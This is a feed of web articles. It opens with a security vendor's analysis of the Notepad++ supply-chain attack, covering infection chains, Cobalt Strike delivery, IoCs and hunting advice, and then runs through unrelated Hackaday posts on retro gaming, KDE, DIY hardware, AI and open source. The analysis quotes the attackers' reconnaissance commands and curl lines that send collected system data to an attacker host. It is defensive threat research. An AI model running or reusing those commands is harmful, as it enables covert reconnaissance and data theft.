Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ has been compromised. According to the statement, this was due to a hosting provider level incident, which occurred from June to September 2025. However, attackers were able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we have been amazed to find out how different and unique were the execution chains used in this supply chain attack. We identified that over the course of four months, from July to October 2025, attackers who have compromised Notepad++ have been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall designed to attack about a dozen machines, belonging to:

• Individuals located in Vietnam, El Salvador and Australia;
• A government organization located in the Philippines;
• A financial organization located in El Salvador;
• An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions have been able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1 — late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at 45.76.155[.]202/update/update.… Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer, of about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, has been described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

• Drops the following files to the %appdata%\ProShow directory:
  
  • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
  • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
  • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
  • proshow.crs (SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709)
  • proshow.phd (SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709)
  • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
  • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)

  
  

• Executes the dropped ProShow.exe file.

The launched ProShow.exe file is a legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers have decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contains two shellcodes — one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contains a set of meaningless instructions and is not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL 45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL 45.77.31[.]210/api/update/v1 and the POST request URL 45.77.31[.]210/api/FileUpload/…

Later on, in early August 2025, we have observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

• In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to cdncheck.it[.]com/users/admin;
• The Cobalt Strike C2 server URLs were set to cdncheck.it[.]com/api/update/v… and cdncheck.it[.]com/api/Metadata…

We have not further seen any infections leveraging chain #1 after early August 2025.

Chain #2 — middle and end of September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the 45.76.155[.]202/update/update.… URL, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

• Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
• Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

• They changed the working directory to %APPDATA%\Adobe\Scripts;
• They started collecting more system information details, changing the executed shell command to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same 45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it has been changed completely. The NSIS installer was configured to drop the following files to the %APPDATA%\Adobe\Scripts directory:

• alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
• lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
• script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
• alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the cdncheck.it[.]com/users/admin URL.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: cdncheck.it[.]com/api/getInfo/… and cdncheck.it[.]com/api/FileUplo…

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

• cmd /c whoami >> a.txt
• cmd /c tasklist >> a.txt
• cmd /c systeminfo >> a.txt
• cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands has been previously documented by the soft-parsley user on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. Using it, attackers performed the following:

• Changed the system information upload URL to self-dns.it[.]com/list;
• Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
• Changed the URL used by the Metasploit downloader to safe-dns.it[.]com/help/Get-Sta…
• Changed the Cobalt Strike Beacon C2 server URLs to safe-dns.it[.]com/resolve and safe-dns.it[.]com/dns-query.

Chain #3 — October 2025

In early October 2025, attackers changed the infection chain once again. They have as well changed the C2 server for distributing malicious updates, with the observed update URL being 45.32.144[.]255/update/update.… The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

• BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
• log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
• BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected with the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and 45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
2. The Beacon configurations are encrypted with the XOR key CRAZY;
3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and 45.77.31[.]210/api/FileUpload/… for the chain #1 payload).

Return of chain #2 and changes in URLs — October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: 95.179.213[.]0/update/update.e… Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

• 95.179.213[.]0/update/install.…
• 95.179.213[.]0/update/update.e…
• 95.179.213[.]0/update/AutoUpda…

We haven’t observed any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we have not seen any payloads being deployed starting from November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult and at the same time creative task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

• Check systems for deployments of NSIS installers, which have been used in all three observed execution chains. For example, this can be done by looking for logs related to creations of the %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
• Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
• Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
• Use specific IoCs listed below to identify known malicious domains and files.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
45.76.155[.]202/update/update.…
45.32.144[.]255/update/update.…
95.179.213[.]0/update/update.e…
95.179.213[.]0/update/install.…
95.179.213[.]0/update/AutoUpda…

System information upload URLs
45.76.155[.]202/list
self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
45.77.31[.]210/users/admin
cdncheck.it[.]com/users/admin
safe-dns.it[.]com/help/Get-Sta…

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
45.77.31[.]210/api/update/v1
45.77.31[.]210/api/FileUpload/…
cdncheck.it[.]com/api/update/v…
cdncheck.it[.]com/api/Metadata…
cdncheck.it[.]com/api/getInfo/…
cdncheck.it[.]com/api/FileUplo…
safe-dns.it[.]com/resolve
safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
api.skycloudcenter[.]com/a/cha…
api.wiresguard[.]com/update/v1
api.wiresguard[.]com/api/FileU…

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
59.110.7[.]32:8880/uffhxpSy
59.110.7[.]32:8880/api/getBasi…
59.110.7[.]32:8880/api/Metadat…
124.222.137[.]114:9999/3yZR31V…
124.222.137[.]114:9999/api/upd…
124.222.137[.]114:9999/api/Inf…
api.wiresguard[.]com/users/sys…
api.wiresguard[.]com/api/getIn…

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 — load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

securelist.com/notepad-supply-…

Originally released for the Sony PlayStation in 1998, Resident Evil 2 came on two CDs and used 1.2 GB in total. Of this, full-motion video (FMV) cutscenes took up most of the space, as was rather common for PlayStation games. This posed a bit of a challenge when ported to the Nintendo 64 with its paltry 64 MB of cartridge-based storage. Somehow the developers managed to do the impossible and retain the FMVs, as detailed in a recent video by [LorD of Nerds]. Toggle the English subtitles if German isn’t among your installed natural language parsers.

Instead of dropping the FMVs and replacing them with static screens, a technological improvement was picked. Because of the N64’s rather beefy hardware, it was possible to apply video compression that massively reduced the storage requirements, but this required repurposing the hardware for tasks it was never designed for.

The people behind this feat were developers at Angel Studios, who had 12 months to make it work. Ultimately they achieved a compression ratio of 165:1, with software decoding handling the decompressing and the Reality Signal Processor (RSP) that’s normally part of the graphics pipeline used for both audio tasks and things like upscaling.

Texture resolution had to be reduced for the N64 port.
In the video you can see the side by side comparisons of the PS and N64 RE2 cutscenes, with differences clearly visible, but not necessarily for the worse. Uncompressed, the about fifteen minutes of FMVs in the game with a resolution of 320×160 pixels at 24 bits take up 4 GB. For the PS this was solved with some video compression and a dedicated video decoder, since its relatively weak hardware needed all the help it could get.

On the N64 port, however, only 24 MB was left on a 64 MB cartridge after the game’s code and in-game assets had been allocated. The first solution was chroma subsampling, counting on the human eye’s sensitivity to brightness rather than color. One complication was that the N64 didn’t implement color clamping, requiring brightness to be multiplied rather than simply added up before the result was passed on to the video hardware in RGB format.

Very helpful here was that the N64 relied heavily on DMA transfers, allowing the framebuffer to be filled without a lot of marshaling which would have tanked performance. In addition to this the RSP was used with custom microcode to enable upscaling as well as interpolation between frames and audio, with about half the frames of the original dropped and instead interpolated. All of this helped to reduce the FMVs to fit in 24 MB rather than many hundreds of MBs.

For the audio side of things the Angel Studios developers got a break, as the Factor 5 developers – famous for Star Wars titles on the N64 – had already done the heavy lifting here with their MusyX audio tools. This enables sample-based playback, saving a lot of memory for music, while for speech very strong compression was used.

Also argued in the video is that the N64 version is actually superior to the PS version, due to its superior Z-buffering and anti-aliasing feature, as well as new features such as randomized items. The programmable RSP is probably the real star on the N64, which preceded the introduction of programmable pipelines on PC videocards like the NVIDIA GeForce series.

youtube.com/embed/e_6mxw7w1WE?…

hackaday.com/2026/02/03/how-re…

Over on YouTube you can see [Yang-Hui He] present to The Royal Institution about Mathematics: The rise of the machines.

In this one hour presentation [Yang-Hui He] explains how AI is driving progress in pure mathematics. He says that right now AI is poised to change the very nature of how mathematics is done. He is part of a community of hundreds of mathematicians pursuing the use of AI for research purposes.

[Yang-Hui He] traces the genesis of the term “artificial intelligence” to a research proposal from J. McCarthy, M.L. Minsky, N. Rochester, and C.E. Shannon dated August 31, 1955. He says that his mantra has become: connectivism leads to emergence, and goes on to explain what he means by that, then follows with universal approximation theorems.

He goes on to enumerate some of the key moments in AI: Descartes’s bête-machine, 1617; Lovelace’s speculation, 1842; Turing test, 1949; Dartmouth conference, 1956; Rosenblatt’s Perceptron, 1957; Hopfield’s network, 1982; Hinton’s Boltzmann machine, 1984; IBM’s Deep Blue, 1997; and DeepMind’s AlphaGo, 2012.

He continues with some navel-gazing about what is mathematics, and what is artificial intelligence. He considers how we do mathematics as bottom-up, top-down, or meta-mathematics. He mentions about one of his earliest papers on the subject Machine-learning the string landscape (PDF) and his books The Calabi–Yau Landscape: From Geometry, to Physics, to Machine Learning and Machine Learning in Pure Mathematics and Theoretical Physics.

He goes on to explain about Mathlib and the Xena Project. He discusses Machine-Assisted Proof by Terence Tao (PDF) and goes on to talk more about the history of mathematics and particularly experimental mathematics. All in all a very interesting talk, if you can find a spare hour!

In conclusion: Has AI solved any major open conjecture? No. Is AI beginning to help to advance mathematical discovery? Yes. Has AI changed the speaker’s day-to-day research routine? Yes and no.

If you’re interested in more fun math articles be sure to check out Digital Paint Mixing Has Been Greatly Improved With 1930s Math and Painted Over But Not Forgotten: Restoring Lost Paintings With Radiation And Mathematics.

youtube.com/embed/oOYcPkBaotg?…

hackaday.com/2026/02/02/yang-h…

The KDE desktop’s new login manager (PLM) in the upcoming Plasma 6.6 will mark the first time that KDE requires that the underlying OS uses systemd, if one wishes for the full KDE experience. This has especially the FreeBSD community upset, but will also affect Linux distros that do not use systemd. The focus of the KDE team is clear, as stated in the referenced Reddit thread, where a KDE developer replies that the goal is to rely on systemd for more tasks in the future. This means that PLM is just the first step.

In the eyes of KDE it seems that OSes that do not use systemd are ‘niche’ and not worth supporting, with said niche Linux distros that would be cut out including everything from Gentoo to Alpine Linux and Slackware. Regardless of your stance on systemd’s merits or lack thereof, it would seem to be quite drastic for one of the major desktop environments across Linux and BSD to suddenly make this decision.

It also raises the question of in how far this is related to the push towards a distroless and similarly more integrated, singular version of Linux as an operating system. Although there are still many other DEs that will happily run for the foreseeable future on your flavor of GNU/Linux or BSD – regardless of whether you’re more about about a System V or OpenRC init-style environment – this might be one of the most controversial divides since systemd was first introduced.

Top image: KDE Plasma 6.4.5. (Credit: Michio.kawaii, Wikimedia)

hackaday.com/2026/02/02/kde-bi…

[XYZAiden]’s concept for a flexible robotic gripper might be a few years old, but if anything it’s even more accessible now than when he first prototyped it. It uses only a single motor and requires no complex mechanical assembly, and nowadays 3D printing with flexible filament has only gotten easier and more reliable.

The four-armed gripper you see here prints as a single piece, and is cable-driven with a single metal-geared servo powering the assembly. Each arm has a nylon string threaded through it so when the servo turns, it pulls each string which in turn makes each arm curl inward, closing the grip. Because of the way the gripper is made, releasing only requires relaxing the cables; an arm’s natural state is to fall open.

The main downside is that the servo and cables are working at a mechanical disadvantage, so the grip won’t be particularly strong. But for lightweight, irregular objects, this could be a feature rather than a bug.

The biggest advantage is that it’s extremely low-cost, and simple to both build and use. If one has access to a 3D printer and can make a servo rotate, raiding a junk bin could probably yield everything else.

DIY robotic gripper designs come in all sorts of variations. For example, this “jamming” bean-bag style gripper does an amazing, high-strength job of latching onto irregular objects without squashing them in the process. And here’s one built around grippy measuring tape, capable of surprising dexterity.

youtube.com/embed/8F8gctNCGyE?…

hackaday.com/2026/02/02/print-…

Hackers have been building their own basic oscilloscopes out of inexpensive MCUs and cheap LCD screens for some years now, but microcontrollers have recently become fast enough to actually make such ‘scopes useful. [NJJ], for example, used a pair of Raspberry Pi Picos to build Picotronix, an extensible combined oscilloscope and logic analyzer.

This isn’t an open-source project, but it is quite well-documented, and the general design logic and workings of the device are freely available. The main board holds two Picos, one for data sampling and one to handle control, display, and external communication. The control unit is made out of stacked PCBs surrounded by a 3D-printed housing; the pinout diagrams printed on the back panel are a helpful touch. One interesting technique was to use a trimmed length of clear 3D printer filament as a light pipe for an indicator LED.

Even the protocol used to communicate between the Picos is documented; the datagrams are rather reminiscent of Ethernet frames, and can originate either from one of the Picos or from a host computer. This lets the control board operate as an automatic testing station reporting data over a wireless or USB-connected network. The display module is therefore optional hardware, and a variety of other boards (called picoPods) can be connected to the Picotronix control board. These include a faster ADC, adapters for various analog input spans, a differential analog input probe, a 12-bit logic state analyzer, and a DAC for signal generation.

If this project inspired you to make your own, we’ve also seen other Pico-based oscilloscopes before, including one that used a phone for the display.

hackaday.com/2026/02/02/a-high…

[Dave] over at Usagi Electric has a mystery on his hands in the form of a computer. He picked up a Motorola 68000 based machine at a local swap meet. A few boards, a backplane, and a power supply. The only information provided is the machines original purpose: gas station pump control.

The computer in question is an embedded system. It uses a VME backplane, and all the cards are of the 3u variaety. The 68k and associated support chips are on one card. Memory is on another. A third card contains four serial ports. The software lives across three different EPROM chips. Time for a bit of reverse engineering!

[Dave] quickly dumped the ROMs and looked for strings. Since the 68k is a big endian machine, some byte swapping was required to get things human readable. Once byte swapped, huge tables of human readable strings revealed themselves, including an OS version. The computer runs pSOS, an older 68k based real time operating system – exactly what one would expect a machine from the 80’s to run.

The next step was to give it some power and see if the gas station computer would pump once again. The LEDs lit up, and a repeating signal showed up from one of the serial ports. The serial connections on this machine are RS-485. Not common for home computers, but used quite a bit in industrial embedded systems. Unfortunately, the machine wouldn’t respond to commands sent from a terminal. The communication protocol remained a mystery.

Since this video has gone up though, several people have provided a wealth of information at the vintage-micros channel over on [Dave’s] Usagi Electric Discord.

Gas pumps are a bit of a departure from [Dave’s] usual minicomputer work. We’re no strangers to embedded systems here though.

youtube.com/embed/i0Qw8GrOcp0?…

hackaday.com/2026/02/02/usagis…

Does vibe coding risk destroying the Open Source ecosystem? According to a pre-print paper by a number of high-profile researchers, this might indeed be the case based on observed patterns and some modelling. Their warnings mostly center around the way that user interaction is pulled away from OSS projects, while also making starting a new OSS project significantly harder.

“Vibe coding” here is defined as software development that is assisted by an LLM-backed chatbot, where the developer asks the chatbot to effectively write the code for them. Arguably this turns the developer into more of a customer/client of the chatbot, with no requirement for the former to understand what the latter’s code does, just that what is generated does the thing that the chatbot was asked to create.

This also removes the typical more organic selection process of libraries and tooling, replacing it with whatever was most prevalent in the LLM’s training data. Even for popular projects visits to their website decrease as downloads and documentation are replaced by LLM chatbot interactions, reducing the possibility of promoting commercial plans, sponsorships, and community forums. Much of this is also reflected in the plummet in usage of community forums like Stack Overflow.

(Credit: Koren et al., 2026)
If we consider this effect of ‘AI-assisted’ software development to be effectively the delegating of the actual engineering and development to the statistical model of an LLM, then it’s easy to see the problems here. The LLM will not interact with the developers of a library or tool, nor submit usable bug reports, or be aware of any potential issues no matter how well-documented.

Although the authors of this paper are still proponents of ‘AI technology’, their worries seem well-warranted, even if it’s unclear at this point how big the impact is going to be. Software ecosystems like those involving JavaScript, Python, and web technologies are likely to suffer the impact from vibe coding first, as their audiences appear to be more into such vibes, and the training sets were largest.

It’s also a topic that is highly controversial, ever since Microsoft launched GitHub Copilot in 2021. Since then we saw reports in 2024 that ‘vibe coding’ using Copilot and similar chatbots offered no real benefits unless adding 41% more bugs is a measure of success.

By the time we hit 2025, we can observe an even more negative mood, with LLM chatbots in general being accused of degrading the cognitive skills of those using them, vibe coding chatbots reducing productivity by 19%, and experienced developers who gave them a whirl subsequently burning them to the ground in scathing reviews.

All of which reinforces the notion that perhaps this ‘AI revolution’ is more of a stress test for human intelligence than an actual boost to productivity or code quality. Despite the authors pitching the idea that OpenAI or Google could toss a few cents the way of OSS projects when their code is being used, the comparison with Spotify is painfully apt, since about 80% of artists on Spotify rarely have their tracks played and thus receive basically no money for their efforts.

With an LLM statistical model we know with extremely high likelihood that only the dependencies that are most prevalent in the training data set will realistically be used for the output, and we expect that we’ll see something similar happen with this vibe coding compensation scheme.

Even today we can already observe many negative effects from ‘AI slop’ in software development. Whether it’ll be something that’ll choke the life out of the entire OSS ecosystem remains to be seen, but it is hard to envision a bright vibe coding future.

hackaday.com/2026/02/02/how-vi…

There are a few possible ways to do a teardown of new electronics like the Apple AirTag 2 tracker, with [electronupdate] opting to go down to the silicon level, with die shots of the major ICs in a recent teardown video. Some high-resolution photos are also found on the separate blog page.

First we get to see the outside of the device, followed by the individual layers of the sandwiched rings of the device, starting with the small speaker, which is surrounded by the antenna for the ultrawide band (UWB) feature.

Next is the PCB layer, with a brief analysis of the main ICs, before they get lifted off and decapped for an intimate look at their insides. These include the Nordic Semiconductor nRF52840 Bluetooth chip, which also runs the firmware of the device.

The big corroded-looking grey rectangle on the PCB is the UWB chip assembly, with the die shot visible in the heading image. It provides the localization feature of the AirTag that allows you to tell where the tag is precisely. In the die analysis we get a basic explanation of what the structures visible are for. Basically it uses an array of antennae that allows the determination of time-of-flight and with it the direction of the requesting device relative to it.

In addition to die shots of the BT and UWB chips we also get the die shot of the Bosch-made accelerometer chip, as well as an SPI memory device, likely an EEPROM of some description.

As for disabling the speaker in these AirTag 2 devices, it’s nestled deep inside, well away from the battery. This is said to make disabling it much harder without a destructive disassembly, yet as iFixit demonstrated, it’s actually fairly easy to do it non-destructively.

youtube.com/embed/UjUIXqiAIgA?…

hackaday.com/2026/02/02/teardo…

Although generally described as a document format, PDFs have ballooned from a Postscript-lite format into a mutant featuring XML and JavaScript support, basically turning what once was a fairly simple format into an interactive page. Naturally, this has to be used for good, and that is why we have the Doom PDF project, as well as [Game of Tobi] using that project as the inspiration for a Super Mario 64 port based on the decompiled source code.

The nice thing about the Super Mario 64 version is that it’s stand-alone, running from a 23.5 MB PDF, unlike the Doom PDF which runs the game in DOSBox. The compromise is that Super Mario 64 PDF runs at just a few FPS, with the output in glorious ASCII.

What enables this feat is to open the PDF in a viewer that supports JavaScript, with the PDF.js that comes with most browsers generally allowing for integrated JS in the PDF to be executed. Unfortunately [Game of Tobi] hasn’t released source code for this project, but we hope that this is forthcoming.

While one can argue about the practicality of this whole demonstration from a gaming perspective, it definitely shows that PDF as a format has gotten way out of hand now that it’s even overrun with hellspawn and Italian plumbers.

youtube.com/embed/a0F08py5Z4M?…

hackaday.com/2026/02/02/runnin…